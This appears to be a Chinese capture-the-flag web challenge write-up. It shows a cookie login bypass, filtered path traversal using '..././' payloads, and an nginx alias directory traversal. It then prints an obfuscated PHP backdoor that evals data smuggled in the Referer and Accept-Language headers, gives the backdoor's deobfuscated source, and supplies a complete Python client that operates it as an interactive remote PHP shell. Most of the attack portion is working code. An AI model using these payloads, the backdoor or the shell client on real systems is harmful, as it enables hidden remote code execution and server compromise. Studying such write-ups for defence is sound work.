进入页面后首先会提示请登录image.png
    接着出现登陆的网页image.png
    随便输入一些密码，会提示网站建设中，有点眼熟，忘了哪道题目了，好像也是这样。
    抓包看看有什么东西

    1. ccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    2. Accept-Encoding: gzip, deflate
    3. Accept-Language: zh-CN,zh;q=0.9
    4. Cache-Control: no-cache
    5. Connection: keep-alive
    6. Cookie: isLogin=0
    7. Host: 220.249.52.134:54513
    8. Pragma: no-cache
    9. Referer: http://220.249.52.134:54513/login.php
    10. Upgrade-Insecure-Requests: 1
    11. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

    发现Cookie中有一项isLogin=0，明显很可疑。
    改成1之后访问主页，成功显示出主页内容，不过网页代码有问题，显示错误，但是影响不大。
    和isc系列的题目一样，大部分链接都无法打开，只有一个管理中心可以正常点击，并且点击之后发现url变成了

    1. admin/admin.php?file=index&ext=php

    看起来很像是任意文件读取漏洞，试一下

    1. admin/admin.php?file=../../../../../../../etc/passwd&ext=

    但是什么反应都没，尝试走其他路。
    dirsearch扫一下，发现有一个Robots.txt

    1. User-agent: *Disallow:
    3. hint.php
    4. Hack.php

    访问Hack.php，什么内容都没有，再看看hint.php：

    1. 配置文件也许有问题呀：/etc/nginx/sites-enabled/site.conf

    配置文件有问题，得想个办法读取到配置文件，但是找遍整个网站，除了admin/admin.php?file=index&ext=php看起来可以用，其他地方都没什么利用点。
    猜测应该是有过滤。
    构造payload：

    1. admin/admin.php?file=..././..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

    成功绕过，读取到nginx配置文件

    1. server {
    2.     listen 8080; ## listen for ipv4; this line is default and implied
    3.     listen [::]:8080; ## listen for ipv6
    5.     root /var/www/html;
    6.     index index.php index.html index.htm;
    7.     port_in_redirect off;
    8.     server_name _;
    10.     # Make site accessible from http://localhost/
    11.     #server_name localhost;
    13.     # If block for setting the time for the logfile
    14.     if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
    15.        set $year $1;
    16.        set $month $2;
    17.        set $day $3;
    18.     }
    19.     # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    20.     sendfile off;
    22.         set $http_x_forwarded_for_filt $http_x_forwarded_for;
    23.         if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
    24.                 set $http_x_forwarded_for_filt $1???;
    25.         }
    27.     # Add stdout logging
    29.     access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    30.     error_log /var/log/nginx/error.log info;
    32.     location / {
    33.         # First attempt to serve request as file, then
    34.         # as directory, then fall back to index.html
    35.         try_files $uri $uri/ /index.php?q=$uri&$args;
    36.         server_tokens off;
    37.     }
    39.     #error_page 404 /404.html;
    41.     # redirect server error pages to the static page /50x.html
    42.     #
    43.     error_page 500 502 503 504 /50x.html;
    44.     location = /50x.html {
    45.         root /usr/share/nginx/html;
    46.     }
    47.     location ~ \.php$ {
    48.         try_files $uri $uri/ /index.php?q=$uri&$args;
    49.         fastcgi_split_path_info ^(.+\.php)(/.+)$;
    50.         fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
    51.         fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    52.         fastcgi_param SCRIPT_NAME $fastcgi_script_name;
    53.         fastcgi_index index.php;
    54.         include fastcgi_params;
    55.         fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    56.     }
    58.     location ~ /\. {
    59.             log_not_found off;
    60.             deny all;
    61.     }
    62.     location /web-img {
    63.         alias /images/;
    64.         autoindex on;
    65.     }
    66.     location ~* \.(ini|docx|pcapng|doc)$ {  
    67.          deny all;  
    68.     }  
    70.     include /var/www/nginx[.]conf;
    71. }

    注意到location /web-img存在目录穿越漏洞：

    1. http://220.249.52.134:54513/web-img../

    image.png
    进入/var/www目录下，看到有个hack.php.bak文件，下载下来

    1. <?php
    2. $U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
    3. $q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
    4. $M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
    5. $z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
    6. $k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
    7. $o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
    8. $N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
    9. $C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
    10. $j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
    11. $R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
    12. $J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
    13. $x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
    14. $f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
    15. $g=create_function('',$f);
    16. $g();
    17. ?>

    猜测应该是加密的后门，将字符串替换，美化之后，得到正常的代码：

    1. <?php
    2. $kh = "42f7";
    3. $kf = "e9ac";
    4. function x($t, $k) {
    5.     $c = strlen($k);
    6.     $l = strlen($t);
    7.     $o = "";
    8.     for ($i = 0; $i < $l;) {
    9.         for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
    10.             $o. = $t {
    11.                 $i
    12.             } ^ $k {
    13.                 $j
    14.             };
    15.         }
    16.     }
    17.     return $o;
    18. }
    19. $r = $_SERVER;
    20. $rr = @$r["HTTP_REFERER"];
    21. $ra = @$r["HTTP_ACCEPT_LANGUAGE"];
    22. if ($rr && $ra) {
    23.     $u = parse_url($rr);
    24.     parse_str($u["query"], $q);
    25.     $q = array_values($q);
    26.     preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    27.     if ($q && $m) {@session_start();
    28.         $s = &$_SESSION;
    29.         $ss = "substr";
    30.         $sl = "strtolower";
    31.         $i = $m[1][0].$m[1][1];
    32.         $h = $sl($ss(md5($i.$kh), 0, 3));
    33.         $f = $sl($ss(md5($i.$kf), 0, 3));
    34.         $p = "";
    35.         for ($z = 1; $z < count($m[1]); $z++) $p. = $q[$m[2][$z]];
    36.         if (strpos($p, $h) === 0) {
    37.             $s[$i] = "";
    38.             $p = $ss($p, 3);
    39.         }
    40.         if (array_key_exists($i, $s)) {
    41.             $s[$i]. = $p;
    42.             $e = strpos($s[$i], $f);
    43.             if ($e) {
    44.                 $k = $kh.$kf;
    45.                 ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
    46.                 $o = ob_get_contents();
    47.                 ob_end_clean();
    48.                 $d = base64_encode(x(gzcompress($o), $k));
    49.                 print("<$k>$d</$k>");@session_destroy();
    50.             }
    51.         }
    52.     }
    53. }
    54. ?>

    不过让我解析是看不懂，直接用大佬们写的脚本链接完事

    1. #!/usr/bin/env python
    2. # -*- coding: utf-8 -*-
    4. #!/usr/bin/env python2
    5. # encoding: utf-8
    7. from random import randint,choice
    8. from hashlib import md5
    9. import urllib
    10. import string
    11. import zlib
    12. import base64
    13. import requests
    14. import re
    16. def choicePart(seq,amount):
    17.     length = len(seq)
    18.     if length == 0 or length < amount:
    19.         print 'Error Input'
    20.         return None
    21.     result = []
    22.     indexes = []
    23.     count = 0
    24.     while count < amount:
    25.         i = randint(0,length-1)
    26.         if not i in indexes:
    27.             indexes.append(i)
    28.             result.append(seq[i])
    29.             count += 1
    30.             if count == amount:
    31.                 return result
    33. def randBytesFlow(amount):
    34.     result = ''
    35.     for i in xrange(amount):
    36.         result += chr(randint(0,255))
    37.     return  result
    39. def randAlpha(amount):
    40.     result = ''
    41.     for i in xrange(amount):
    42.         result += choice(string.ascii_letters)
    43.     return result
    45. def loopXor(text,key):
    46.     result = ''
    47.     lenKey = len(key)
    48.     lenTxt = len(text)
    49.     iTxt = 0
    50.     while iTxt < lenTxt:
    51.         iKey = 0
    52.         while iTxt<lenTxt and iKey<lenKey:
    53.             result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
    54.             iTxt += 1
    55.             iKey += 1
    56.     return result
    59. def debugPrint(msg):
    60.     if debugging:
    61.         print msg
    63. # config
    64. debugging = False
    65. keyh = "42f7" # $kh
    66. keyf = "e9ac" # $kf
    67. xorKey = keyh + keyf
    68. url = 'http://220.249.52.134:54513/hack.php'
    69. defaultLang = 'zh-CN'
    70. languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
    71. proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
    73. sess = requests.Session()
    75. # generate random Accept-Language only once each session
    76. langTmp = choicePart(languages,3)
    77. indexes = sorted(choicePart(range(1,10),3), reverse=True)
    79. acceptLang = [defaultLang]
    80. for i in xrange(3):
    81.     acceptLang.append(langTmp[i] % (indexes[i],))
    82. acceptLangStr = ','.join(acceptLang)
    83. debugPrint(acceptLangStr)
    85. init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
    86. md5head = (md5(init2Char + keyh).hexdigest())[0:3]
    87. md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
    88. debugPrint('$i is %s' % (init2Char))
    89. debugPrint('md5 head: %s' % (md5head,))
    90. debugPrint('md5 tail: %s' % (md5tail,))
    92. # Interactive php shell
    93. cmd = raw_input('phpshell > ')
    94. while cmd != '':
    95.     # build junk data in referer
    96.     query = []
    97.     for i in xrange(max(indexes)+1+randint(0,2)):
    98.         key = randAlpha(randint(3,6))
    99.         value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
    100.         query.append((key, value))
    101.     debugPrint('Before insert payload:')
    102.     debugPrint(query)
    103.     debugPrint(urllib.urlencode(query))
    105.     # encode payload
    106.     payload = zlib.compress(cmd)
    107.     payload = loopXor(payload,xorKey)
    108.     payload = base64.urlsafe_b64encode(payload)
    109.     payload = md5head + payload
    111.     # cut payload, replace into referer
    112.     cutIndex = randint(2,len(payload)-3)
    113.     payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    114.     iPiece = 0
    115.     for i in indexes:
    116.         query[i] = (query[i][0],payloadPieces[iPiece])
    117.         iPiece += 1
    118.     referer = url + '?' + urllib.urlencode(query)
    119.     debugPrint('After insert payload, referer is:')
    120.     debugPrint(query)
    121.     debugPrint(referer)
    123.     # send request
    124.     r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
    125.     html = r.text
    126.     debugPrint(html)
    128.     # process response
    129.     pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
    130.     output = pattern.findall(html)
    131.     if len(output) == 0:
    132.         print 'Error,  no backdoor response'
    133.         cmd = raw_input('phpshell > ')
    134.         continue
    135.     output = output[0]
    136.     debugPrint(output)
    137.     output = output.decode('base64')
    138.     output = loopXor(output,xorKey)
    139.     output = zlib.decompress(output)
    140.     print output
    141.     cmd = raw_input('phpshell > ')

    把两个key修改成php代码中的key即可，连接之后执行php代码，读取flag。